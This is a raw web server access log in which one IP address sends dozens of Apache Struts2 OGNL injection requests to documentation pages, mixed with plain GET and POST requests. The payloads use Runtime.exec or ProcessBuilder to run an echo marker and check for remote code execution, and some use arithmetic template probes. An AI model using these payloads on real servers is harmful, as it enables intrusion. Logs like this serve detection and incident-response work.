222.186.180.34 - - [26/May/2023:05:54:38 +0530] "GET /docs/setup.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1054
222.186.180.34 - - [26/May/2023:05:54:39 +0530] "GET /docs/setup.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2050
222.186.180.34 - - [26/May/2023:05:54:40 +0530] "GET /docs/setup.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2050
222.186.180.34 - - [26/May/2023:05:54:41 +0530] "GET /docs/setup.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:43 +0530] "GET /docs/setup.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1754
222.186.180.34 - - [26/May/2023:05:54:43 +0530] "GET /docs/setup.html?redirect%3A%24%7B8204984%2B4109957%7D HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:45 +0530] "GET /docs/setup.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:46 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:47 +0530] "GET /docs/setup.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:48 +0530] "GET /docs/setup.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1438
222.186.180.34 - - [26/May/2023:05:54:49 +0530] "GET /docs/setup.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1674
222.186.180.34 - - [26/May/2023:05:54:50 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:52 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:56 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:55:00 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:55:01 +0530] "GET /docs/setup.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:55:02 +0530] "GET /docs/setup.html/%24%7B7631802%2B7861577%7D/index.action HTTP/1.0" 404 1104
222.186.180.34 - - [26/May/2023:05:55:03 +0530] "GET /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:55:05 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:06 +0530] "GET /docs/appdev/index.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:08 +0530] "GET /docs/appdev/index.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 6206
45.79.128.205 - - [26/May/2023:05:55:34 +0530] "-" 400 -
222.186.180.34 - - [26/May/2023:05:55:50 +0530] "GET /docs/appdev/index.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:51 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:52 +0530] "GET /docs/appdev/index.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1068
222.186.180.34 - - [26/May/2023:05:55:53 +0530] "GET /docs/appdev/index.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2064
222.186.180.34 - - [26/May/2023:05:55:54 +0530] "GET /docs/appdev/index.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2064
222.186.180.34 - - [26/May/2023:05:55:55 +0530] "GET /docs/appdev/index.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:56 +0530] "GET /docs/appdev/index.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1768
222.186.180.34 - - [26/May/2023:05:55:57 +0530] "GET /docs/appdev/index.html?redirect%3A%24%7B8136432%2B4024642%7D HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:58 +0530] "GET /docs/appdev/index.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:55:59 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:00 +0530] "GET /docs/appdev/index.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:01 +0530] "GET /docs/appdev/index.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1452
222.186.180.34 - - [26/May/2023:05:56:02 +0530] "GET /docs/appdev/index.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1688
222.186.180.34 - - [26/May/2023:05:56:03 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:04 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:05 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:06 +0530] "POST /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:07 +0530] "GET /docs/appdev/index.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:08 +0530] "GET /docs/appdev/index.html/%24%7B8007967%2B3590733%7D/index.action HTTP/1.0" 404 1118
222.186.180.34 - - [26/May/2023:05:56:09 +0530] "GET /docs/appdev/index.html HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:10 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:13 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:14 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:15 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:16 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:17 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:18 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:19 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:20 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:21 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:22 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:23 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:24 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:25 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:26 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:29 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:30 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:31 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:31 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:32 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:33 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:34 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:36 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:05:56:44 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:45 +0530] "GET /docs/appdev/introduction.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:46 +0530] "GET /docs/appdev/introduction.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:48 +0530] "GET /docs/appdev/introduction.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:48 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:49 +0530] "GET /docs/appdev/introduction.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1082
222.186.180.34 - - [26/May/2023:05:56:50 +0530] "GET /docs/appdev/introduction.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2078
222.186.180.34 - - [26/May/2023:05:56:52 +0530] "GET /docs/appdev/introduction.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2078
222.186.180.34 - - [26/May/2023:05:56:53 +0530] "GET /docs/appdev/introduction.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:54 +0530] "GET /docs/appdev/introduction.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1782
222.186.180.34 - - [26/May/2023:05:56:55 +0530] "GET /docs/appdev/introduction.html?redirect%3A%24%7B6397087%2B5670764%7D HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:56 +0530] "GET /docs/appdev/introduction.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:57 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
